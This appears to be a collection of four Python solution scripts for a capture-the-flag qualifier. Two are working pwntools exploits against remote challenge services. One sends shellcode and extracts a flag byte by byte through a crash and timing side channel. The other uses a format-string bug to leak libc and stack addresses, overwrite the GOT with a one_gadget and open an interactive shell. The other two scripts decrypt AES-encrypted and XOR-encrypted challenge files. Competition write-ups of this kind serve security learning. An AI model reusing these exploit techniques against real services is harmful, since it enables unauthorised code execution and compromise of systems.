#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'

timeout = 0.3
def check(offset, target):
    def loadflag():
        p.sendlineafter(b'SHELL $ ', b'loadflag')
    
    def _exec(payload):
        p.sendline(b'exec ' + payload)
    
    # p = process('./EDUshell')
    p = remote('eofqual.zoolab.org', 10101)
    # p = remote('172.20.0.1', 10101)
    
    loadflag()
    
    sleep(timeout)
    sc = asm('''
        mov rsi, rdx
        xor rdx, rdx
        xor rdi, rdi
        xor rax, rax
        mov dx, 0x1234
        syscall
    ''')
    
    _exec(sc)
    
    sleep(timeout)
    sc2 = asm('''
        mov rcx, rbx
        add rcx, ''' + str(offset) + '''
        mov al, BYTE PTR [rcx]
        cmp ax, ''' + str(target) + '''
        jb SAFE
        xor rax, rax
        inc rax
        syscall
    SAFE:
        mov rsi, rdx
        xor rdx, rdx
        xor rdi, rdi
        xor rax, rax
        mov dx, 0x1234
        syscall
    LOOP:
        nop
        nop
        nop
        jmp LOOP
    ''')

    try:
        # raw_input('>')
        p.sendline(sc + sc2)
        # raw_input('>')
        sleep(timeout)
        p.sendline(b'GG')
        p.recv(5, timeout=timeout)
    except EOFError:
        print('EOFerror except')
        return 0
    except:
        print('other except')
        return 0

    return 1

offset = 0x27c0
flag = b''

for i in range(80):
    r = 0x80
    l = 0x00
    t = r
    while l + 1 != r:
        if check(offset + i, t):
            r = t
        else:
            l = t
        t = (r + l) // 2
    flag += bytes([l])
    print(flag)
    if l == ord('}'):
        break

print(flag)

#!/usr/bin/env python3
from pwn import *

# p = process('./illusion', env={"LD_PRELOAD" : "./libc.so.6"})
p = remote('eofqual.zoolab.org', 10104)

raw_input('>')
payload = b'|%p|%13$p|%15$p|'
p.sendline(payload)

p.recvuntil(b'|')
libc = int(p.recvuntil(b'|', drop=True), 16) - 0x1ec723
log.info('libc: ' + hex(libc))

stack = int(p.recvuntil(b'|', drop=True), 16)
log.info('stack: ' + hex(stack))

text = int(p.recvuntil(b'|', drop=True), 16) - 0x1211
log.info('text: ' + hex(text))

exit_got = text + 0x5018
one_gadget = libc + 0xe6e76
r10 = stack - 0x32f8

one_gadgets = []
idx = [0, 1, 2]
for i in range(3):
    one_gadgets.append((one_gadget >> (i * 16)) & 0xffff)

for i in range(3):
    for j in range(i + 1, 3):
        if one_gadgets[i] > one_gadgets[j]:
            tmp = one_gadgets[i]
            one_gadgets[i] = one_gadgets[j]
            one_gadgets[j] = tmp
            tmp = idx[i]
            idx[i] = idx[j]
            idx[j] = tmp

for i in range(2, 0, -1):
    one_gadgets[i] = one_gadgets[i] - one_gadgets[i - 1]

print(one_gadgets)
print(idx)

raw_input('>')
payload  = b'%17$n%18$n'

for i in range(3):
    payload += '%{}c%{}$hn'.format(one_gadgets[i], 14 + idx[i]).encode()
payload += b'a' * (8 * 8 - len(payload))
payload += p64(exit_got)
payload += p64(exit_got + 2)
payload += p64(exit_got + 4)
payload += p64(r10)
payload += p64(r10 + 4)
p.sendline(payload)

log.info(hex(exit_got))
log.info(hex(exit_got + 2))
log.info(hex(exit_got + 4))
log.info(hex(r10))

p.interactive()

#!/usr/bin/env python3
from Crypto.Cipher import AES  
import struct

def decrypt(content):
    iv  = b'\xA1\xA4\xC4\x1C\x1C\x5B\xC5\x2E\x90\xDA\xB8\xFE\x46\x23\xBF\xBB'
    key = b'\xE9\x31\xDF\xC0\xC3\x7A\xEE\xAC\x6E\xC9\x87\x1C\x8A\x7A\xF6\xEC'

    cipher = AES.new(key, AES.MODE_CBC, iv)

    return cipher.encrypt(content).decode(errors='ignore')

def u32(bs):
    return struct.unpack('<I', bs)[0]

def u16(bs):
    return struct.unpack('<H', bs)[0]

def parseFS(fs):
    idx = 0x10
    allplaintext = ''

    def parseItem(fs, idx):
        i_type = u32(fs[idx:idx+4])
        idx += 4
        i_namelen = u16(fs[idx:idx+2])
        idx += 2
        i_name = fs[idx:idx+i_namelen]
        idx += i_namelen
        i_contentlen = u32(fs[idx:idx+4])
        idx += 4
        i_content = fs[idx:idx+i_contentlen]
        idx += i_contentlen
        idx += 4
        return (i_type, i_name, i_content, idx)

    while True:
        item_type, item_name, item_content, idx_next = parseItem(fs, idx)
        idx = idx_next

        if item_name == b'README.txt':
            break

        if item_type == 1:
            print(item_type)
            print(item_name)
            print(item_content)
            plain_content = decrypt(item_content)
            allplaintext += plain_content
    
    return allplaintext

with open('hackerFS', 'rb') as f:
    fs = f.read()

allplaintext = parseFS(fs)

with open('output.txt', 'wb') as f:
    f.write(allplaintext.encode())

#!/usr/bin/env python3

with open('./secret.bin', 'rb') as f:
    secret = list(f.read())

def animate(now, total):
    print('[', end='')
    percent = now * 100 // total
    star = percent * 30 // 100
    empty = 30 - star
    print('*' * star, end='')
    print('_' * empty, end='')
    print('] ', end='')
    print('%.4f' % (now * 100 / total), end='')
    print('%', end='\r')

for i in range(1, 144):
    output_f = './out_' + str(i) + '.jpg'
    filename = './' + str(i) + '.jpg'

    with open(filename, 'rb') as f:
        f_content = list(f.read())

    possible_j = []
    now = 0
    total = 0x4000
    for j in range(0, 0x4000):
        now += 1
        animate(now, total)

        tmp_f_content = f_content.copy()
        size = len(tmp_f_content)

        # 0xFF
        result = tmp_f_content[0] ^ secret[(j + 0) % 0x4000]
        if result != 0xFF:
            continue

        # 0xD8
        result = tmp_f_content[1] ^ secret[(j + 1) % 0x4000]
        if result != 0xD8:
            continue

        # 0xFF
        result = tmp_f_content[2] ^ secret[(j + 2) % 0x4000]
        if result != 0xFF:
            continue

        possible_j.append(j)

    print()
    print('possible j :')
    for j in possible_j:
        print(j)

    j = possible_j[0]

    for idx in range(len(f_content)):
        f_content[idx] ^= secret[(j + idx) % 0x4000]
    
    with open(output_f, 'wb') as f:
        f.write(bytes(f_content))

print('ok')